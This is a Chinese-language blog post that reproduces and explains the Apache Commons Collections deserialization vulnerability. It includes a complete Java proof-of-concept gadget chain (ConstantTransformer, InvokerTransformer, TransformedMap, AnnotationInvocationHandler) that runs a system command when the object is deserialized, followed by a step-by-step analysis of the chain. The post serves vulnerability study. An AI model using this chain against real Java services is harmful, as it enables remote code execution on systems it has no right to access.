Apache Commons Collections反序列化漏洞
Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是 java 历史上最出名同时也是最具有代表性的反序列化漏洞。
复现
环境准备
-
jdk 1.7 版本
下载压缩包链接:https://pan.baidu.com/s/1jdS4L9Yi4Gtrn8NYgwDhNQ 提取码:l2wv -
commons-collections-3.1 jar
下载Jar包链接:https://nowjava.com/jar/detail/m02261225/commons-collections-3.1.jar.html
POC
直接看其他师傅们的POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class POC4 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
上面的复现使用的 payload 经过反序列化过后会执行:Runtime.getRuntime().exec("calc.exe")
,造成了本地命令执行,接下来就一步步探究这个漏洞是如何产生的。
漏洞原理分析
构造反射链
看到这个POC,首先关注 InvokerTransformer
这个对象,它是执行恶意代码的主要问题所在。首先看看这个类的构造函数,其中 this.iMethodName
是方法名, this.iParamTypes
是参数类型,this.iArgs
是参数的值。
它的 transform
方法很明显调用了 java 的反射机制,传入 input
是类名,利用反射拿到类名和方法名。方法的参数和类型是我们可以通过构造函数直接传入的。现在只要 input 也是可控的,那我们就可以执行任意对象的任意方法。
我们的目标是达到远程执行命令的效果,所以现在就是想办法直接传入 Runtime 类的实例对象。
巧的是,有个类 ChainedTransformer
,该类中也有一个 transform
方法:
该类的构造函数接收一个 Transformer 类型的数组,并且在 transform 方法中会遍历这个数组,并调用数组中的每一个成员的 transform 方法。
还有一个类 ConstantTransformer
,它同样有一个 transform
方法,就是返回 iConstant,而 this.iConstant 又来自它的构造函数。
所以我们实例化 ConstantTransformer 时传入一个 Runtime.class 返回的也是 Runtime.class。
到这里已经介绍了三个 transfromer 类和三个 transform 方法:
InvokerTransformer | ConstantTransformer | ChainedTransformer |
---|---|---|
构造函数接受三个参数 | 构造函数接受一个参数 | 构造函数接受一个TransFormer类型的数组 |
transform方法通过反射可以执行一个对象的任意方法 | transform返回构造函数传入的参数 | transform方法执行构造函数传入数组的每一个成员的transform方法 |
现在尝试把这几个 transformer 组合起来构造一个执行链:
// TransFormer 类型的数组
Transformer[] transformers_exec = new Transformer[]{
// 传入 Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod 方法,然后 getMethod 方法再反射调用 getRuntime 方法,返回 Runtime.getRuntime() 方法
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// 反射调用 invoke 方法,然后反射执行 Runtime.getRuntime() 方法,返回 Runtime 实例化对象
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
// 反射调用 exec 方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers_exec);
这样一个反射链条就构造好了,给一个初始的 object,然后输出作为下一个输入,从而实现链式调用。
大致过程如下:
-
ChianedTransformer 的 transform 是一个循环调用该类里面的 transformer 的 transform 方法
-
首先调用 ConstantTransformer("java.Runtime")
-
第一次调用 InvokerTransformer 对象 getMethod("getRuntime",null) 方法,参数为 ("java.Runtime") 会返回一个Runtime.getRuntime()方法,但还没有执行
-
第二次调用 InvokerTransformer 对象 Invoke(null,null) 方法,参数为 Runtime.getRuntime(),那么会返回一个 Runtime 对象实例
-
第三次调用 InvokerTransformer 对象 exec("clac.exe") 方法,参数为一个 Runtime 的对象实例,调用了对象的方法,会执行弹出计算器操作
反射链就构造完毕了,现在要做的就是怎么触发 ChainedTransformer 的 transform 方法。
TransformedMap利用链
存在一些类,如 TransformedMap
和 AnnotationInvocationHandler
,重写 readObject() 方法,在反序列化时会自动执行这些方法,来达到触发 transform 方法的目的。
在 TransformedMap 类中的三个方法 transformKey
、transformValue
和 checkSetValue
都会触发 transform 方法。
现在找到了能够触发 transform 的地方,但是这还是不能在反序列化的时候自动触发。在反序列化只会自动触发 readObject() 方法,所以现在需要找一个类重写了 readObject()。
在 TransformedMap 里的每个 entryset 在调用 setValue 方法时会自动调用 TransformedMap 类的 checkSetValue 方法。
那么就要寻找这样一个类:这个类的 readObject 方法中对某个 Map 类型的属性的 entry 进行了 setValue 操作。
恰好就有这个类 AbstractInputCheckedMapDecorator
, 调用 java 的自带类 AnnotationInvocationHandler 中重写的 readObject 方法,该方法调用时会先将 map 转为 Map.entry,然后执行 setvalue 操作。
执行 setValue() 方法,就会到 checkSetValue() 方法:
到 checkSetValue() 方法,就会执行 transform 方法,从而实现整个利用链。
综上所述整个调用链:
-
->ObjectInputStream.readObject()
-
->AnnotationInvocationHandler.readObject()
-
->TransformedMap.entrySet().iterator().next().setValue()
-
->TransformedMap.checkSetValue()
-
->TransformedMap.transform()
-
->ChainedTransformer.transform()
对于 jdk 1.8 来说,AnnotationInvocationHandler 类中的这个关键的触发点 setValue 发生了改变。所以就无法利用了。
jdk 1.8 有一个 LazyMap 利用链。
参考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711
若有错误,欢迎指正!o( ̄▽ ̄)ブ